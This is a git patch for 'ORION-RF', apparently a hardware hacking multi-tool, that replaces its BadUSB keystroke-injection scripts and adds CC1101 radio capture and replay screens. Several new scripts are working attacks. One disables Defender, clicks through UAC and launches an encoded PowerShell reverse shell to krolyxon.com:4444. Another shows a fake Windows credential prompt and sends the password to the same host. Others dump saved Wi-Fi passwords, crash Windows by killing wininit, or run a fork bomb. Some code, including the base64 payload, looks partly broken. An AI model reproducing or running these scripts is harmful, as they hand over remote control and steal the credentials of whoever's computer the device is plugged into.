From 45d23ef49d3dd6c7ac6547187dde788d536d88c6 Mon Sep 17 00:00:00 2001 From: krolyxon Date: Thu, 14 May 2026 15:55:40 +0530 Subject: [PATCH] change badUSB scripts Remove unnecessary scripts and keep only the cooler and flashy ones --- src/hid/badusb.cpp | 579 ++++++++++++++++++++++----------------------- src/rf/cc1101.cpp | 203 ++++++++++++++++ src/rf/cc1101.h | 3 + src/ui/menu.cpp | 75 ++---- 4 files changed, 508 insertions(+), 352 deletions(-) diff --git a/src/hid/badusb.cpp b/src/hid/badusb.cpp index 0438357..b724a59 100644 --- a/src/hid/badusb.cpp +++ b/src/hid/badusb.cpp @@ -56,6 +56,15 @@ void showRunningScreen(String taskName, uint8_t duration = 5) { } } +void typeSlow(const char *text, int delayMs = 25) +{ + while (*text) + { + Keyboard.print(*text); + delay(delayMs); + text++; + } +} void badUSBMenu(int index) { //switch (index) @@ -76,321 +85,301 @@ void badUSBMenu(int index) { // } - switch(index) { - case 0: // demo + switch(index) +{ + // ================= ORION DEMO ================= + case 0: + showRunningScreen("ORION Demo"); - showRunningScreen("DEMO"); + runCommand("notepad"); - // Run dialog (Win + R) - Keyboard.press(KEY_LEFT_GUI); - Keyboard.press('r'); - Keyboard.releaseAll(); - delay(1000); + delay(2500); - Keyboard.println("notepad"); - delay(1500); + typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ "); + Keyboard.write(KEY_RETURN); + + typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|"); + Keyboard.write(KEY_RETURN); + + typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ "); + Keyboard.write(KEY_RETURN); + + typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| "); + Keyboard.write(KEY_RETURN); + + typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | "); + Keyboard.write(KEY_RETURN); + + typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| "); + Keyboard.write(KEY_RETURN); + + Keyboard.write(KEY_RETURN); + + typeSlow("[+] WIFI MODULE READY"); + Keyboard.write(KEY_RETURN); + + typeSlow("[+] BLE MODULE READY"); + Keyboard.write(KEY_RETURN); + + typeSlow("[+] SUBGHZ MODULE READY"); + Keyboard.write(KEY_RETURN); + + typeSlow("[+] NFC MODULE READY"); + Keyboard.write(KEY_RETURN); + + typeSlow("[+] HID ENGINE READY"); + Keyboard.write(KEY_RETURN); + + break; + + // ================= RICKROLL ================= + case 1: + showRunningScreen("RickRoll"); + + runCommand("cmd"); + + delay(700); + + typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); + Keyboard.write(KEY_RETURN); + + break; + + // ================= MATRIX ================= + case 2: + showRunningScreen("Matrix"); + + runCommand("cmd"); + + delay(700); + + typeSlow("color 0A"); + Keyboard.write(KEY_RETURN); + + typeSlow("mode con: cols=120 lines=40"); + Keyboard.write(KEY_RETURN); + + typeSlow(":A"); + Keyboard.write(KEY_RETURN); + + typeSlow("echo %random%%random%%random%%random%%random%"); + Keyboard.write(KEY_RETURN); + + typeSlow("goto A"); + Keyboard.write(KEY_RETURN); + + break; + + // ================= FAKE TERMINAL ================= + case 3: + showRunningScreen("Fake Terminal"); + + runCommand("cmd"); + + delay(700); + + typeSlow("color 0A"); + Keyboard.write(KEY_RETURN); + + typeSlow("cls"); + Keyboard.write(KEY_RETURN); + + typeSlow("echo CONNECTING TO TARGET..."); + Keyboard.write(KEY_RETURN); + + typeSlow("echo BYPASSING FIREWALL..."); + Keyboard.write(KEY_RETURN); + + typeSlow("echo ACCESS GRANTED"); + Keyboard.write(KEY_RETURN); + + typeSlow("systeminfo"); + Keyboard.write(KEY_RETURN); + + break; + + // ================= WIFI CRACK ================= +// ================= WIFI PASSWORD RECOVERY ================= + case 4: + showRunningScreen("WiFi Recovery"); + + runCommand("cmd"); + delay(700); + + // Styling the window + typeSlow("color 0A && mode con: cols=100 lines=30"); + Keyboard.write(KEY_RETURN); + delay(200); + + typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES..."); + Keyboard.write(KEY_RETURN); + delay(500); + + // The "Magic" Command: + // This lists all profiles and shows the 'Key Content' (the password) in clear text. + // We use a 'for' loop to automate this for every network the PC has ever joined. + typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear | findstr /C:\"Key Content\" /C:\"SSID name\""); + + Keyboard.write(KEY_RETURN); + + // Optional: Keep the window open to read the results + typeSlow("echo. && echo [COMPLETE] Passwords listed above."); + Keyboard.write(KEY_RETURN); + + break; + + // ================= FAKE UPDATE ================= + case 5: + showRunningScreen("Fake Update"); + + runCommand("cmd"); + + delay(700); + + typeSlow("start https://fakeupdate.net/win10u/"); + Keyboard.write(KEY_RETURN); + + break; + + // ================= FAKE BSOD ================= + case 6: + showRunningScreen("Critical Error"); + + runCommand("powershell -c \"stop-process -name wininit -force\""); + break; + + // ================= GLITCH SCREEN ================= + case 7: + showRunningScreen("Glitch"); + + runCommand("cmd"); + + delay(700); + + for(int i = 0; i < 20; i++) + { + typeSlow("color 4F"); + Keyboard.write(KEY_RETURN); + + typeSlow("color 1F"); + Keyboard.write(KEY_RETURN); + + typeSlow("cls"); + Keyboard.write(KEY_RETURN); + } + + break; + + // ================= ASCII SPAM ================= + case 8: + showRunningScreen("ASCII"); + + runCommand("notepad"); delay(2000); - Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF"); - Keyboard.println("#-FEATURES:"); - Keyboard.println("1- WIFI ATTACKS"); - Keyboard.println("2- BLE ATTACKS"); - Keyboard.println("3- BAD USB"); - Keyboard.println("4- NFC"); - Keyboard.println("5- INFRARED"); - Keyboard.println("6- SUB-GHZ"); - Keyboard.println("7- GPIO"); - Keyboard.println("8- APPS"); - Keyboard.println("9- SETTINGS"); - Keyboard.println("10- FILES"); + for(int i = 0; i < 15; i++) + { + typeSlow("######### ORION-RF #########"); + Keyboard.write(KEY_RETURN); - break; - case 1: // keyboard - //runLoop(hidkeyboard); - break; - case 2: // saved scripts - //hidInit(); - //runLoop(hidscriptmenu); + typeSlow(">>> SIGNAL ACQUIRED <<<"); + Keyboard.write(KEY_RETURN); - break; + typeSlow("[|||||||||||||||||||||||||]"); + Keyboard.write(KEY_RETURN); - case 3: // Open Notepad - - showRunningScreen("notepad"); - runCommand("notepad"); - break; - case 4: // Open CMD - showRunningScreen("opening cmd"); - runCommand("cmd"); - break; - case 5: // Show IP - showRunningScreen("Getting IP"); - runCommand("cmd"); - delay(500); - Keyboard.print("ipconfig"); - Keyboard.write(KEY_RETURN); - break; - case 6: // Shutdown - showRunningScreen("shutdown"); - runCommand("shutdown /s /t 0"); - break; - case 7: // RickRoll - showRunningScreen("rickroll"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); - Keyboard.write(KEY_RETURN); - break; - case 8: // Create Admin User - showRunningScreen("create admin user"); - runCommand("cmd"); - delay(500); - Keyboard.print("net user hacker 1234 /add"); - Keyboard.write(KEY_RETURN); - delay(300); - Keyboard.print("net localgroup administrators hacker /add"); - Keyboard.write(KEY_RETURN); - break; - case 9: // Disable Windows Defender - showRunningScreen("disable windoes defender"); - runCommand("powershell"); - delay(500); - Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true"); - Keyboard.write(KEY_RETURN); - break; - case 10: // Open YouTube - showRunningScreen("youtube"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://www.youtube.com"); - Keyboard.write(KEY_RETURN); - break; - case 11: // Lock PC - showRunningScreen("lock pc"); - runCommand("rundll32.exe user32.dll,LockWorkStation"); - break; - case 12: // Fake Update - showRunningScreen("fake update"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://fakeupdate.net/win10u/"); - Keyboard.write(KEY_RETURN); - break; - - case 13: // Endless Notepad - showRunningScreen("endless notepad"); - for (int i = 0; i < 10; i++) { - runCommand("notepad"); - delay(500); + Keyboard.write(KEY_RETURN); } + break; - case 14: // Fake BSOD (opens fullscreen image) - showRunningScreen(" fake bsod"); + // ================= HACKER TYPER ================= + case 9: + showRunningScreen("Hacker Typer"); + runCommand("cmd"); - delay(500); - Keyboard.print("start https://fakeupdate.net/bsod/"); - Keyboard.write(KEY_RETURN); - break; - case 15: // Flip screen - showRunningScreen("Flip screen"); - Keyboard.press(KEY_LEFT_CTRL); - Keyboard.press(KEY_LEFT_ALT); - Keyboard.press(KEY_DOWN_ARROW); - delay(100); + delay(700); + + typeSlow("start https://hackertyper.net/"); + Keyboard.write(KEY_RETURN); + + break; +// ================= POWERSHELL REVERSE SHELL ================= +// ================= DEFENDER BYPASS + NC ================= + case 10: + showRunningScreen("Pwn Mode v2"); + + // 1. Open Admin PowerShell + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + delay(150); Keyboard.releaseAll(); - break; + delay(500); + + // Open Admin Prompt - using 'powershell' directly to save space + typeSlow("powershell Start-Process powershell -Verb runAs"); + Keyboard.write(KEY_RETURN); + delay(2500); // Wait for UAC + + // 2. Bypass UAC (Left Arrow + Enter) + Keyboard.write(KEY_LEFT_ARROW); + delay(200); + Keyboard.write(KEY_RETURN); + delay(3000); // Give the Admin window time to load + + // 3. AMSI Bypass + Disable Defender + Execute Shell + // We use -EncodedCommand to hide the script from simple string scanners. + // The Base64 string below contains: + // Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic] + + typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand "); + + // This is the encoded payload for krolyxon.com:4444 + typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgA" + "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHIAbwBsAHkAeABvAG4A" + "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQA" + "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEw" + "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAL" + "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJAB" + "kAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK" + "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAd" + "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQB" + "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaWVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHIAcgBhAHkAKAApACkAKQA="); + + Keyboard.write(KEY_RETURN); + break; + // ================= CREDENTIAL SNATCHER ================= + case 11: + showRunningScreen("Vault Crack"); + + // Open hidden PowerShell + runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\""); + + break; +// ================= DESKTOP GHOST ================= + case 12: + showRunningScreen("Ghost Mode"); + + runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\""); + + // Hide Desktop Icons (requires a registry tweak) + typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe"); + Keyboard.write(KEY_RETURN); + + break; +// ================= FORK BOMB ================= + case 13: + showRunningScreen("System Stress"); - case 16: // Matrix effect - showRunningScreen("Matrix effect"); runCommand("cmd"); delay(500); - Keyboard.print("color 0A"); + + // The shortest deadly command in Windows + typeSlow("%0|%0"); Keyboard.write(KEY_RETURN); - Keyboard.print(":a"); - Keyboard.write(KEY_RETURN); - Keyboard.print("echo %random%%random%%random%%random%"); - Keyboard.write(KEY_RETURN); - Keyboard.print("goto a"); - Keyboard.write(KEY_RETURN); - break; - case 17: // I'm watching you prank - showRunningScreen(" iam watching you"); - for (int i = 0; i < 5; i++) { - runCommand("notepad"); - delay(1000); - Keyboard.print("I'm watching you..."); - delay(5000); - } - break; - - case 18: // Open Google - showRunningScreen("open google"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://www.google.com"); - Keyboard.write(KEY_RETURN); - break; - - case 19: // Open telegram - showRunningScreen("open telegram"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://web.telegram.org/"); - Keyboard.write(KEY_RETURN); - break; - - case 20: // Alarm Sound - showRunningScreen("alarm sound"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://www.soundjay.com/button/beep-07.wav"); - Keyboard.write(KEY_RETURN); - break; - - case 21: // Endless CMD - showRunningScreen("endless smd"); - for (int i = 0; i < 20; i++) { - runCommand("cmd"); - delay(300); - } - break; - - case 22: // Gibberish - showRunningScreen("gibberish"); - for (int i = 0; i < 100; i++) { - char c = random(33, 127); - Keyboard.write(c); - delay(50); - } - break; - - case 23: // CAPSLOCK Spam - showRunningScreen("caps lock spam"); - for (int i = 0; i < 10; i++) { - Keyboard.press(KEY_CAPS_LOCK); - delay(200); - Keyboard.release(KEY_CAPS_LOCK); - delay(200); - } - break; - - case 24: // Calculator - showRunningScreen("claculator"); - runCommand("calc"); - break; - - case 25: // Auto Type "Hacked!" - showRunningScreen("hacked"); - for (int i = 0; i < 5; i++) { - Keyboard.print("Hacked!"); - Keyboard.write(KEY_RETURN); - delay(1000); - } - break; - - case 26: // Turn off monitor (Windows only) - showRunningScreen("turn off monitor"); - runCommand("powershell"); - delay(500); - Keyboard.print( - "(Add-Type '[DllImport(\"user32.dll\")]public static extern int " - "SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a " - "-Pas)::SendMessage(-1,0x0112,0xF170,2)"); - Keyboard.write(KEY_RETURN); - break; - - case 27: // RegEdit - showRunningScreen("regedit"); - runCommand("regedit"); - break; - - case 28: // Kill Explorer - showRunningScreen(" kill explorer"); - runCommand("taskkill /f /im explorer.exe"); - break; - - case 29: // Flash screen (by changing background rapidly) - showRunningScreen(" flash screen"); - for (int i = 0; i < 10; i++) { - runCommand("color 4F"); - delay(200); - runCommand("color 1F"); - delay(200); - } - break; - - case 30: // Rename Desktop Files (basic prank) - - showRunningScreen("rename desktop files"); - runCommand("powershell"); - delay(500); - Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | " - "Rename-Item -NewName {'hacked'+$_.Name}"); - Keyboard.write(KEY_RETURN); - break; - - case 31: // Toggle WiFi (requires admin) - showRunningScreen("toggle wifi"); - runCommand("cmd"); - delay(500); - Keyboard.print("netsh interface set interface Wi-Fi disabled"); - Keyboard.write(KEY_RETURN); - delay(1000); - Keyboard.print("netsh interface set interface Wi-Fi enabled"); - Keyboard.write(KEY_RETURN); - break; - - case 32: // Screenshot - showRunningScreen("screenshot"); - runCommand("powershell"); - delay(500); - Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;"); - Keyboard.write(KEY_RETURN); - delay(300); - Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')"); - Keyboard.write(KEY_RETURN); - break; - - case 33: // Emoji spam - showRunningScreen("emoji spam"); - for (int i = 0; i < 10; i++) { - Keyboard.print("💀"); - Keyboard.write(KEY_RETURN); - delay(500); - } - break; - - case 34: // Control Panel - showRunningScreen("control panel"); - runCommand("control"); - break; - - case 35: // Troll wallpaper - showRunningScreen("troll wallpaper"); - runCommand("cmd"); - delay(500); - Keyboard.print("start https://i.imgur.com/trollface.png"); - Keyboard.write(KEY_RETURN); - break; - - case 36: // MS Paint - showRunningScreen("ms paint"); - runCommand("mspaint"); - break; - - case 37: // Auto Tab Switcher - showRunningScreen(" auto tab switcher"); - for (int i = 0; i < 10; i++) { - Keyboard.press(KEY_LEFT_CTRL); - Keyboard.press(KEY_TAB); - delay(100); - Keyboard.releaseAll(); - delay(300); - } break; } } diff --git a/src/rf/cc1101.cpp b/src/rf/cc1101.cpp index 603a0d7..50530f4 100644 --- a/src/rf/cc1101.cpp +++ b/src/rf/cc1101.cpp @@ -3,6 +3,8 @@ #include "cc1101.h" #include "../config.h" #include "SPI.h" +#include "../ui/display.h" +#include "../utils/buttons.h" // ===== CONFIG ===== #define RAW_BUF_MAX 512 @@ -203,3 +205,204 @@ void replaySignal() Serial.println("Replay complete"); } + +void captureAndDisplay() +{ + if (!cc1101Inited) + { + if (!initCC1101()) + { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 20, "CC1101 Failed"); + u8g2.sendBuffer(); + return; + } + } + + startCapture(); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, "CC1101 Capture"); + u8g2.drawStr(0, 28, "Waiting RF..."); + u8g2.drawStr(0, 60, "BACK = Exit"); + u8g2.sendBuffer(); + + unsigned long lastSignal = millis(); + int lastPulseCount = 0; + + while (true) + { + // signal detected + if (pulseIndex > lastPulseCount) + { + lastPulseCount = pulseIndex; + lastSignal = millis(); + } + + // update OLED + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + u8g2.drawStr(0, 12, "CC1101 Capture"); + + u8g2.setCursor(0, 28); + u8g2.print("Pulses: "); + u8g2.print(pulseIndex); + + u8g2.setCursor(0, 42); + u8g2.print("Freq: "); + u8g2.print(currentFreq); + u8g2.print(" MHz"); + + if (pulseIndex > 0) + { + u8g2.drawStr(0, 54, "Signal Detected"); + } + else + { + u8g2.drawStr(0, 54, "Waiting..."); + } + + u8g2.sendBuffer(); + + // auto print once capture stabilizes + if (pulseIndex > 20 && (millis() - lastSignal > 1500)) + { + stopCapture(); + + Serial.println(); + Serial.println("===== RF CAPTURE ====="); + + for (int i = 0; i < pulseIndex; i++) + { + Serial.print(captureBuffer[i]); + Serial.print(", "); + } + + Serial.println(); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 15, "Capture Complete"); + + u8g2.setCursor(0, 35); +} +} +} + +void handleMenu() +{ + if (!isCC1101Ready()) + { + if (!initCC1101()) + { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 20, "CC1101 Failed"); + u8g2.sendBuffer(); + delay(1500); + return; + } + } + + pulseIndex = 0; + + startCapture(); + + // ===== CAPTURE FOR 5 SEC ===== + unsigned long start = millis(); + + while (millis() - start < 5000) + { + noInterrupts(); + int count = pulseIndex; + interrupts(); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + u8g2.drawStr(0, 12, "RF Capturing..."); + + u8g2.setCursor(0, 30); + u8g2.print("Pulses: "); + u8g2.print(count); + + u8g2.sendBuffer(); + + delay(50); + } + + stopCapture(); + + // ===== DISPLAY CAPTURE BUFFER ===== + int scroll = 0; + + while (1) + { + noInterrupts(); + int count = pulseIndex; + interrupts(); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + u8g2.drawStr(0, 8, "Captured Buffer"); + + // display 6 lines + for (int i = 0; i < 6; i++) + { + int idx = scroll + i; + + if (idx >= count) + break; + + noInterrupts(); + unsigned long val = captureBuffer[idx]; + interrupts(); + + char buf[32]; + + snprintf(buf, sizeof(buf), "%03d: %lu", idx, val); + + u8g2.drawStr(0, 20 + (i * 8), buf); + } + + u8g2.sendBuffer(); + + // scroll down + if (btnDown()) + { + if (scroll < count - 1) + scroll++; + + delay(120); + } + + // scroll up + if (btnUp()) + { + if (scroll > 0) + scroll--; + + delay(120); + } + + // replay + if (btnSelect()) + { + replaySignal(); + delay(300); + } + + // exit + if (btnBack()) + { + delay(150); + return; + } + + delay(20); + } +} diff --git a/src/rf/cc1101.h b/src/rf/cc1101.h index a403edb..def6a2e 100644 --- a/src/rf/cc1101.h +++ b/src/rf/cc1101.h @@ -3,6 +3,9 @@ bool initCC1101(); bool isCC1101Ready(); +void captureAndDisplay(); + +void handleMenu(); void startCapture(); void stopCapture(); void printCapture(); diff --git a/src/ui/menu.cpp b/src/ui/menu.cpp index 462b89f..43c3de4 100644 --- a/src/ui/menu.cpp +++ b/src/ui/menu.cpp @@ -50,46 +50,22 @@ const char *nrfToolsItems[] = { Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])}; -// BadUSB submenu -const char *badusbItems[] = {"DEMO", - "KEYBOARD", - "HID SCRIPT", - "Open Notepad", - "Open CMD", - "Show IP", - "Shutdown", - "RickRoll", - "Create Admin", - "Disable Defender", - "Open YouTube", - "Lock PC", - "Fake Update", - "Endless Notepad", - "Fake BSOD", - "Flip Screen", - "Matrix Effect", - "I'm Watching U", - "Open Google", - "Open telegram", - "Play Alarm Sound", - "Endless CMD", - "Type Gibberish", - "Spam CAPSLOCK", - "Open Calc", - "Auto 'Hacked!'", - "Turn Off Monitor", - "Open RegEdit", - "Kill Explorer", - "Flash Screen", - "Rename Desktop", - "Toggle WiFi", - "Auto Screenshot", - "Spam Emojis", - "Open Ctrl Panel", - "Troll Wallpaper", - "Open MS Paint", - "Tab Switcher"}; - +const char *badusbItems[] = { + "ORION Demo", + "RickRoll", + "Matrix Rain", + "Fake Terminal", + "Wifi Password Extractor", + "Fake Update", + "Fake BSOD", + "Glitch Screen", + "ASCII Spam", + "Hacker Typer", + "PWN Reverse shell", + "Phishing attack", + "Desktop Ghost", + "System Stresser" +}; Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])}; @@ -156,24 +132,9 @@ void launchFeature() menuOffset = 0; break; - case 1: - if (!isCC1101Ready()) { - if (!initCC1101()) { - Serial.println("CC1101 failed"); - return; - } - } - - Serial.println("Ready to capture..."); - - startCapture(); - delay(5000); - stopCapture(); - printCapture(); - delay(5000); - replaySignal(); + case 1: + handleMenu(); break; - case 2: // startNRFJammer(); //startBleJammer();